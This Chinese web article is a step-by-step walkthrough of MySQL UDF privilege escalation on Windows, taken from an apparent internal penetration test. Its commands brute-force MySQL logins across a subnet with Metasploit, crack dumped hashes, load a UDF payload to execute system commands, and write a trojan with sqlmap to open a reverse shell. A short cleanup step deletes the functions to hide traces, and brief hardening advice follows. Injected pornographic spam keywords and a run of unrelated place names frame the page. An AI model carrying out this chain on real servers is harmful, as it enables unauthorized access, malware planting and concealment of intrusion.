最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Window環(huán)境下MySQL?UDF提權(quán)

 更新時(shí)間:2023年03月21日 15:23:23   作者:h領(lǐng)小白帽  
本文章僅記錄某次內(nèi)網(wǎng)滲透過(guò)程中遇到的MySQL?采用UDF提權(quán)等方式進(jìn)行獲取權(quán)限,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧<BR>

前言

本文章僅記錄某次內(nèi)網(wǎng)滲透過(guò)程中遇到的MySQL 采用UDF提權(quán)等方式進(jìn)行獲取權(quán)限,文章中內(nèi)容僅用于技術(shù)交流,切勿用于非授權(quán)下滲透攻擊行為,慎重?。?!

一、UDF簡(jiǎn)介

UDF(Userdefined function)可以翻譯為用戶自定義函數(shù),其為mysql的一個(gè)拓展接口,可以為Mysql增添一些函數(shù),對(duì)MySQL的功能進(jìn)行擴(kuò)充,然后就可以在MySQL中進(jìn)行使用這些函數(shù)了。

攻擊者通過(guò)編寫(xiě)調(diào)用cmd或shell的udf.dll/udf.so文件,并且導(dǎo)入到指定的文件夾目錄下,創(chuàng)建一個(gè)指向udf.dll/udf.so的自定義函數(shù),從而在數(shù)據(jù)庫(kù)中的查詢就等價(jià)于在cmd或shell中執(zhí)行命令。

二、UDF提權(quán)條件

1、MySQL數(shù)據(jù)庫(kù)的Root權(quán)限(可以通過(guò)賬號(hào)密碼遠(yuǎn)程登錄到Mysql數(shù)據(jù)庫(kù))

2、MySQL具有寫(xiě)入文件的權(quán)限(即Secure_file_priv的值為空,不為空時(shí)必須有寫(xiě)入my.ini的權(quán)限)

連接MySQL數(shù)據(jù)庫(kù)后,通過(guò)SQL語(yǔ)句show global variables like '%secure%';查看secure_file_priv的值。

當(dāng)secure_file_priv的值為NULL,表示限制mysqld不允許導(dǎo)入|導(dǎo)出,此時(shí)無(wú)法提權(quán)。
當(dāng)secure_file_priv的值為/tmp/, 表示限制mysqld的導(dǎo)入|導(dǎo)出只能發(fā)生在/tmp/目錄下,此時(shí)也無(wú)法提權(quán);
當(dāng)secure_file_priv的值沒(méi)有具體值時(shí),表示不對(duì)mysqld的導(dǎo)入|導(dǎo)出做限制,此時(shí)可提權(quán)。

如果secure_file_priv的值不是空,需要在MySQL/my.ini中設(shè)置secure_file_priv參數(shù)為secure_file_priv =

三、上傳動(dòng)態(tài)鏈接庫(kù)文件

動(dòng)態(tài)鏈接庫(kù)就是實(shí)現(xiàn)共享函數(shù)庫(kù)概念的一種方式,在windows環(huán)境下后綴名為 .dll ,在Linux環(huán)境下后綴名為 .so ,我們要將該文件放在特定的目錄中,該文件中包含了執(zhí)行系統(tǒng)命令的一些函數(shù)。

MySQL版本大于5.1 ,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下(plugin文件夾默認(rèn)不存在,需要自行創(chuàng)建;MySQL安裝目錄可以通過(guò)select basedir() 或者select @@basedir 查看)

MySQL版本小于5.1 ,udf.dll文件在win2003下放置于C:\Windows或者C:\Windows\system32目錄,在win2000下放置在C:\Winnt\system32目錄。

四、UDF提權(quán)步驟

1、查看secure_file_priv的值

Secure_file_priv是用來(lái)限制load dumpfile、into outfile、load_file() 函數(shù)在哪個(gè)目錄下?lián)碛猩蟼骰蛘咦x取文件的權(quán)限。

輸入語(yǔ)句:show global variables like '%secure%'; ##值為空即可操作

2、查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

當(dāng) plugin 的值為空時(shí)不可提權(quán)
當(dāng) plugin 值為 mysql_native_password 時(shí)可通過(guò)賬戶連接提權(quán)

實(shí)際測(cè)試發(fā)現(xiàn)UDF提權(quán)成功與否與該值無(wú)關(guān)。

3、查看系統(tǒng)構(gòu)架以及plugin目錄

Show variables like '%compile%';  //查看主機(jī)版本及架構(gòu)

show variables like '%plugin%'; //查看 plugin 目錄

MSF漏洞驗(yàn)證

使用MSF搜索關(guān)于MySQL輔助利用腳本

search mysql

使用弱口令掃描腳本,并查看需要配置選項(xiàng)

use auxiliary/scanner/mysql/mysql_login
show options

可配置 pass_file(暴力破解字典,所在絕對(duì)路徑)在不知道密碼的情況下可使用
配置 RHOSTS (靶機(jī)IP地址)
set rhosts 192.168.x.x/24 (可批量掃描)

配置USERNAME(靶機(jī)MySQL服務(wù)用戶名)或者配置USER_FILE(用戶名字典)

方法二選一

set pass_file /top100.txt
set rhosts 192.168.x.x
set username root
run 或者 exploit 進(jìn)行攻擊!?。?

以上兩種方法是在未知MySQL數(shù)據(jù)庫(kù)賬密情況下進(jìn)行爆破方式,具體以實(shí)際情況為主。

獲取MySQL的基礎(chǔ)信息

使用模塊:use auxiliary/admin/mysql/mysql_enum

set rhosts 192.168.x.x
set password root
set username root
run

獲取MySQL基礎(chǔ)信息及其他存在用戶及其密碼

可使用CMD5或者john工具進(jìn)行破解

接下來(lái)進(jìn)行UDF提權(quán),加載攻擊載荷

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.*.*
set password root

在MySQL中執(zhí)行SQL語(yǔ)句,查看上傳的DLL文件名

select * from mysql.func;

執(zhí)行命令 select sys_exec("whoami");

如果返回結(jié)果為 0 就代表成功,返回1代表失敗。

通過(guò)之前MSF生成的DLL文件創(chuàng)建sys_eval()函數(shù),使執(zhí)行的命令存在回顯。

create function sys_eval returns string soname "****.dll";

再次執(zhí)行命令 select sys_eval("whoami");

可使用攻擊載荷 use auxiliary/admin/mysql/mysql_sql 進(jìn)行后續(xù)其他命令操作

五、UDF提權(quán)反彈Shell

當(dāng)UDF提權(quán)后,我們想反彈一個(gè)MSF或者CS的shell,首先呢使用CS的PowerShell反彈命令是不行的,這里由于powershell命令引號(hào)過(guò)多,不能執(zhí)行。

那么現(xiàn)在的思路就是執(zhí)行木馬文件,反彈Shell,這里由于sys_eval函數(shù)不能執(zhí)行Windows那些遠(yuǎn)程下載命令,所以我們選擇通過(guò)sqlmap的寫(xiě)入文件功能,將木馬寫(xiě)入當(dāng)前目錄。

首先,查看當(dāng)前目錄

然后sqlmap寫(xiě)入木馬,這里也是可以進(jìn)行遠(yuǎn)程下載的;

命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:\phpStudy\PHPTutorial\MySQL\data\*.exe"

執(zhí)行木馬反彈,這里需要注意的是,sys_eval函數(shù)只能執(zhí)行當(dāng)前目錄下的文件,所以,也只能把文件寫(xiě)入當(dāng)前路徑下。

六、清理痕跡

命令:drop function sys_eval; drop function sys_exec;

七、修復(fù)建議

1、mysql配置文件中 secure_file_priv 項(xiàng)設(shè)置為NULL或非 mysql/lib/plugin目錄。

2、控制目錄訪問(wèn)權(quán)限,例如控制/lib/plugin,system32/wbem/mof等目錄需要管理員權(quán)限訪問(wèn)或者設(shè)置為只讀權(quán)限。

3、數(shù)據(jù)庫(kù)用戶確保正確實(shí)施最小權(quán)限原則。

到此這篇關(guān)于Window環(huán)境下MySQL UDF提權(quán)的文章就介紹到這了,更多相關(guān)MySQL UDF提權(quán)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • mysql 5.0.45 (修改)拒絕服務(wù)漏洞

    mysql 5.0.45 (修改)拒絕服務(wù)漏洞

    mysql 5.0.45 (修改)拒絕服務(wù)漏洞的方法,追求安全的朋友可以參考下。
    2010-07-07
  • 詳解MySQL雙活同步復(fù)制四種解決方案

    詳解MySQL雙活同步復(fù)制四種解決方案

    這篇文章主要介紹了MySQL 雙活同步復(fù)制四種方案,主從復(fù)制分成三步,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2018-08-08
  • linux下mysql的安裝步驟

    linux下mysql的安裝步驟

    本文分步驟給大家介紹了linux下mysql的安裝步驟及執(zhí)行命令,需要的朋友可以參考下
    2018-03-03
  • 使用sql語(yǔ)句insert之前判斷是否已存在記錄

    使用sql語(yǔ)句insert之前判斷是否已存在記錄

    這篇文章主要介紹了使用sql語(yǔ)句insert之前判斷是否已存在記錄,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-12-12
  • mysql如何獲取自增id

    mysql如何獲取自增id

    這篇文章主要介紹了mysql如何獲取自增id問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-07-07
  • 安裝MySQL在最后的start service停住了解決方法

    安裝MySQL在最后的start service停住了解決方法

    今天為一個(gè)客戶配置服務(wù)器的時(shí)候,發(fā)現(xiàn)的問(wèn)題,原來(lái)他自己安裝過(guò)mysql但安全沒(méi)有配置好,路徑選擇的也不好,重新安裝后發(fā)現(xiàn)在start service卡住了,通過(guò)下面的方法解決了,特分享下
    2013-11-11
  • MySQL日志的詳細(xì)分析實(shí)例

    MySQL日志的詳細(xì)分析實(shí)例

    MySQL日志記錄了MySQL數(shù)據(jù)庫(kù)日常操作和錯(cuò)誤信息,下面這篇文章主要給大家介紹了關(guān)于MySQL日志的詳細(xì)分析,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2022-04-04
  • mysql 8.0.12 解壓版安裝教程 個(gè)人親測(cè)!

    mysql 8.0.12 解壓版安裝教程 個(gè)人親測(cè)!

    這篇文章主要為大家詳細(xì)介紹了mysql 8.0.12 解壓版安裝教程,步驟簡(jiǎn)單,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-08-08
  • MySQL優(yōu)化之緩存優(yōu)化(續(xù))

    MySQL優(yōu)化之緩存優(yōu)化(續(xù))

    本文是MySQL優(yōu)化系列文章的第一篇緩存優(yōu)化的續(xù)篇,為大家更為詳細(xì)的介紹緩存優(yōu)化的方方面面,希望大家能夠喜歡
    2017-03-03
  • 關(guān)于mysql數(shù)據(jù)庫(kù)格式化簡(jiǎn)單介紹

    關(guān)于mysql數(shù)據(jù)庫(kù)格式化簡(jiǎn)單介紹

    本文將介紹關(guān)于mysql數(shù)據(jù)庫(kù)格式化時(shí)需要注意的一些問(wèn)題,需要的朋友可以參考下
    2012-11-11

最新評(píng)論

广西| 林口县| 项城市| 札达县| 邳州市| 嘉善县| 沙洋县| 株洲县| 罗江县| 泽库县| 白玉县| 柞水县| 蕉岭县| 名山县| 贺州市| 周口市| 望奎县| 元朗区| 谢通门县| 湟中县| 拉萨市| 广东省| 合肥市| 二连浩特市| 泗水县| 铁岭市| 那曲县| 青州市| 微博| 贵州省| 东至县| 潼关县| 响水县| 壤塘县| 巴里| 阳朔县| 满城县| 惠州市| 九龙城区| 湖口县| 攀枝花市|